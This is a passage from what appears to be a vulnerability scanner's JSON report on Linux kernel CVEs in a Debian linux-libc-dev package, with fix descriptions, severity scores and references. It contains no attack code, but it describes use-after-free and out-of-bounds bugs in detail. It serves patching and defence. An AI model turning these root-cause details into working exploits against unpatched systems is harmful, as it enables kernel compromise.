vq-\u003edesc, vq-\u003eavail and vq-\u003eused, nor when\nVHOST_SET_VRING_NUM changes the region sizes.\n\nWith a device IOTLB attached both ioctls are accepted while the vq is\nlive, and neither validates the addresses at ioctl time: vq_access_ok()\nand vq_log_used_access_ok() return true early because the addresses are\nGIOVAs, deferring validation to prefetch time. Once the cache has been\npopulated that deferred validation no longer runs -- vq_meta_prefetch()\nhits the stale entry and returns true -- and vhost_vq_meta_fetch() keeps\ntranslating through the old mapping as\n\n\tmap-\u003eaddr + addr - map-\u003estart\n\nfor an address the mapping no longer covers. vhost_copy_to_user() and\nvhost_copy_from_user() consume the result with __copy_to_user() and\n__copy_from_user(), which do not check it either, so a subsequent used\nring update or descriptor fetch accesses memory outside the region the\nIOTLB actually maps.\n\nReset the metadata cache whenever the vring is reconfigured, so the new\naddresses are pushed back through iotlb_access_ok()'s slow path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H", "V3Score": 8.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/14/2", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-74580", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://git.kernel.org/stable/c/13fa6f32a56a386a82bd7451644c494beed034af", "https://git.kernel.org/stable/c/5224bd37e37d36076a550d99b2aebba33939fd95", "https://git.kernel.org/stable/c/54617e9119be2eb728ecdd8d977b99c99d4c498a", "https://git.kernel.org/stable/c/6fa3e9b1fe856259555a7e22f3f3082e7827fd9b", "https://git.kernel.org/stable/c/b70ebe0bba254e093dd5fd4c0c170941ce83eb85", "https://git.kernel.org/stable/c/cf363a7a02ce132ef1f58084fdb13e1a3b7da7e7", "https://git.kernel.org/stable/c/de845981da67a6b049080c87e605130b0c30adc5", "https://git.kernel.org/stable/c/f1e21108e3ddfcce62f6cad4ebd7b5674543c9e6", "https://github.com/YounesHfa/CVE-2026-74580", "https://linux.oracle.com/cve/CVE-2026-74580.html", "https://linux.oracle.com/errata/ELSA-2026-500573.html", "https://lore.kernel.org/linux-cve-announce/2026082158-CVE-2026-74580-5db9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74580", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74580" ], "PublishedDate": "2026-08-21T17:16:44.21Z", "LastModifiedDate": "2026-10-29T04:18:40.513Z" }, { "VulnerabilityID": "CVE-2026-74581", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74581", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1dd83059b8fbfec8a9fea1fae03f01e09b84ad8b24ec4a2f48e62ed24c27903d", "Title": "kernel: net: ipv6: use-after-free in fib6_rule_suppress due to stale res-\u003ert6 pointer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv6: clear suppressed fib6 rule result\n\nfib6_rule_suppress() drops a suppressed route with ip6_rt_put_flags(),\nbut leaves res-\u003ert6 pointing at the released rt6_info.\n\nIf no later rule supplies a replacement, fib6_rule_lookup() still sees\nres.rt6 and returns that stale dst to its caller. A suppressing rule can\ntherefore leak a released route back to rt6_lookup(), and the next put\nhits rcuref_put_slowpath() from dst_release().\n\nClear res-\u003ert6 when suppressing the route so suppressed lookups fall\nthrough to the null dst instead of reusing the released one.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/security/cve/CVE-2026-74581", "https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6aea62e433fe1b586202a5fee8b5807ce635e1d7", "https://git.kernel.org/stable/c/354db6243eca59e9d187ffbf8b7955b044ce84dc", "https://git.kernel.org/stable/c/5d29b286c9de0b309e94b9ed083aa1a2f429434f", "https://git.kernel.org/stable/c/6aea62e433fe1b586202a5fee8b5807ce635e1d7", "https://git.kernel.org/stable/c/6d98c70fe0ba8c7708bfd5b2a5174d2086775daa", "https://git.kernel.org/stable/c/90c57310e266eb94e4a80d6b15a9ca131d2e82cb", "https://git.kernel.org/stable/c/9bad152c42b37499162367fe47867411e62fffa3", "https://git.kernel.org/stable/c/a341c091ca0bfae377747b1b59a3bd8ebe18a937", "https://git.kernel.org/stable/c/dc3ab04220667f254f4348572b2a0b3febff89fb", "https://linux.oracle.com/cve/CVE-2026-74581.html", "https://linux.oracle.com/errata/ELSA-2026-63128-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74581", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74581" ], "PublishedDate": "2026-08-21T17:16:44.363Z", "LastModifiedDate": "2026-10-16T20:17:39.94Z" }, { "VulnerabilityID": "CVE-2026-74582", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74582", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:237127624a00a758d5bb7f1aa8c978e475ffaf00417de6b2feb9daf28b29079f", "Title": "kernel: packet: use consistent hard_header_len in non-ring send paths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npacket: use consistent hard_header_len in non-ring send paths\n\npacket_snd() reads dev-\u003ehard_header_len multiple times while allocating\nand constructing an skb. Device reconfiguration can change this value\nconcurrently, for example through bonding device type changes.\n\nFor SOCK_RAW, packet_snd() can save a larger value in reserve and later\nallocate headroom using a smaller value. Moving skb-\u003edata back by reserve\nthen places it before skb-\u003ehead, and the following copy from userspace can\nattempt an out-of-bounds write.\n\npacket_sendmsg_spkt() has the same issue because it calculates its\nreservation and header offset from separate reads before dropping the RCU\nread lock to allocate the skb.\n\nAdd LL_RESERVED_SPACE_EX() for callers that already saved a header length.\nRead hard_header_len once in packet_snd() and use it for allocation and\nconstruction. In packet_sendmsg_spkt(), preserve the allocation-time value\nthrough the device lookup retry.\n\nThe separate SOCK_DGRAM consistency problem between hard_header_len and\nheader_ops-\u003ecreate is not addressed here.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77500", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-74582", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2519475", "https://bugzilla.redhat.com/2521057", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-77500.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/stable/c/03390aa32e669cc4ecd7d34108e2e1afc13d689d", "https://git.kernel.org/stable/c/142e287b3a25cfe909215177c23243e7fc5ae2b1", "https://git.kernel.org/stable/c/5bb10753d428aadfc356a2bfe9acea09c82a62ec", "https://git.kernel.org/stable/c/78a47127e33c340bc6d38dcc4552a094b4f5cc77", "https://git.kernel.org/stable/c/9052756290962ffb9a661bcf319e92dedaaedfed", "https://git.kernel.org/stable/c/91f041451f967cd87ed722a8f43c0b767a64f1a0", "https://git.kernel.org/stable/c/b06b6fce6d7deaf7238e09b48ce3b1125ff41acd", "https://git.kernel.org/stable/c/bcd4df60ac9481b1ceffdfe5ec38fe51dcaae812", "https://linux.oracle.com/cve/CVE-2026-74582.html", "https://linux.oracle.com/errata/ELSA-2026-93412.html", "https://lore.kernel.org/linux-cve-announce/2026082100-CVE-2026-74582-3296@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74582", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74582" ], "PublishedDate": "2026-08-21T17:16:44.507Z", "LastModifiedDate": "2026-10-16T20:17:40.1Z" }, { "VulnerabilityID": "CVE-2026-74583", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74583", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:38c80b6ac6d1bd64830f0d5d4ff1f3f0e47c1f7417c19eb15c1576cff2fc4e52", "Title": "kernel: net/sched: cls_route: fix fastmap use-after-free on filter", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: cls_route: fix fastmap use-after-free on filter\n\nThe route4 classifier maintains a 16-slot fastmap cache that stores raw\nstruct route4_filter pointers indexed by (id, iif). The reader\n(route4_classify) populates this cache via route4_set_fastmap() for every\nclassified packet that hits a filter. The writer (route4_delete,\nroute4_change) clears the cache via route4_reset_fastmap() before\nRCU-deferred kfree of the filter.\n\nThis creates a UAF race:\n 1. Reader walks the RCU-protected bucket chain, finds filter f\n 2. Writer unlinks f, calls route4_reset_fastmap(), then tcf_queue_work()\n 3. Reader calls route4_set_fastmap() and writes f into the cache\n *after* the writer's reset, caching a pointer about to be freed\n 4. After the RCU grace period, kfree(f) executes\n 5. Next classified packet on the same (id, iif) tuple hits the stale\n fastmap entry and reads f-\u003eres from freed memory\n\nReproduced with an mdelay(100) accelerator in route4_set_fastmap() and a\nconcurrent add/delete stress test (provided by both zdi and Santosh).\nBoth triggered KASAN slab-use-after-free reports in the route4 fastmap\npaths.\n\nFix:\nIntroduce a per-filter boolean dying flag to suppress stale fastmap\nrepublishing by in-flight readers.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83157", "https://access.redhat.com/errata/RHSA-2026:83159", "https://access.redhat.com/security/cve/CVE-2026-74583", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2521054", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2521054", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74583", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://errata.almalinux.org/8/ALSA-2026-83159.html", "https://errata.rockylinux.org/RLSA-2026:83157", "https://git.kernel.org/stable/c/0e7a8cf8895b06d07c7311f028eba16ad742b9bc", "https://git.kernel.org/stable/c/47d7f7051253bdc02b1d245d87e38f16d31a74df", "https://git.kernel.org/stable/c/5ec9001be6d0eb527251125632ec8fe88278897f", "https://git.kernel.org/stable/c/7897198b26445b4009a057bda1986b94a99e5d5f", "https://git.kernel.org/stable/c/820f083c294ad6d319c02a7d43294f2ed2565139", "https://git.kernel.org/stable/c/a17f636c9330eac879822ce29f998e5abd1b72c1", "https://git.kernel.org/stable/c/ae9aff87025219005a2d16b4fe83d6f24643e50d", "https://git.kernel.org/stable/c/b969984b2bdc85d721ce4047cd270cd37ec705a2", "https://linux.oracle.com/cve/CVE-2026-74583.html", "https://linux.oracle.com/errata/ELSA-2026-83157.html", "https://lore.kernel.org/linux-cve-announce/2026082100-CVE-2026-74583-70cb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74583", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74583" ], "PublishedDate": "2026-08-21T17:16:44.643Z", "LastModifiedDate": "2026-10-16T20:17:40.37Z" }, { "VulnerabilityID": "CVE-2026-74588", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74588", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:283bd0be35a928449cd1136eefaa9a1ddd3ad18be499ea3452a173961b7370bc", "Title": "kernel: sctp: keep chunk-\u003etransport in step with the list it is queued on", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: keep chunk-\u003etransport in step with the list it is queued on\n\n__sctp_outq_flush_rtx() moves a gap-acked chunk onto another transport's\ntransmitted list without updating chunk-\u003etransport:\n\n\tif (chunk-\u003etsn_gap_acked) {\n\t\tlist_move_tail(\u0026chunk-\u003etransmitted_list,\n\t\t\t \u0026transport-\u003etransmitted);\n\t\tcontinue;\n\t}\n\nThe chunk then sits on a live transport's list while chunk-\u003etransport still\nnames a different one. If that transport is removed - sctp_assoc_rm_peer()\nfrom an ASCONF Delete-IP - sctp_transport_free() RCU-frees it and the chunk\nis left with a dangling pointer. sctp_assoc_rm_peer() scrubs\npeer-\u003etransmitted and asoc-\u003eoutqueue.out_chunk_list, but the chunk is on\nneither.\n\nThe pointer is not followed while tsn_gap_acked is set. A SACK that\nreneges on the TSN clears the flag, and the next SACK reaches\n\n\ttchunk-\u003etransport-\u003eflight_size -= sctp_data_size(tchunk);\n\ninside the freed transport. KASAN reports a slab-use-after-free read in\nsctp_check_transmitted(), freed from sctp_assoc_rm_peer(). Both the\nremoval and the SACKs come from the association peer.\n\nSet chunk-\u003etransport at the move. The ordinary resend path needs nothing:\nit reaches its list_move_tail() only after sctp_packet_append_chunk()\nreturned SCTP_XMIT_OK, and __sctp_packet_append_chunk() has rebound the\nchunk by then.\n\nDiscovered by XBOW, triaged by Baul Lee \u003cbaul.lee@xbow.com\u003e", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-74588", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/stable/c/1adf929121e13e0b19200bb9fef715b918d483fe", "https://git.kernel.org/stable/c/2b3b5eec8b2c30ee237e3c31a6a38de9c39d804d", "https://git.kernel.org/stable/c/5ccf35ef0ed6059cdf8b1f4606a6584d5b67166b", "https://git.kernel.org/stable/c/6575fb17230814b48b471727c8410c0aadff9274", "https://git.kernel.org/stable/c/6b9e2ea2057113f3393990ba646d2d97c719a80d", "https://git.kernel.org/stable/c/874a7c2b5e184f06134fdfde27e9ce9271bafe58", "https://git.kernel.org/stable/c/9f2cf069a9a72a2d6b97ca8b4c70e714aac99749", "https://git.kernel.org/stable/c/e2e7c1de0e226ca1b7fea2de57a6c9bca408709b", "https://linux.oracle.com/cve/CVE-2026-74588.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026082212-CVE-2026-74588-29ed@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74588", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74588" ], "PublishedDate": "2026-08-22T16:16:30.96Z", "LastModifiedDate": "2026-10-16T20:17:42.177Z" }, { "VulnerabilityID": "CVE-2026-74597", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": 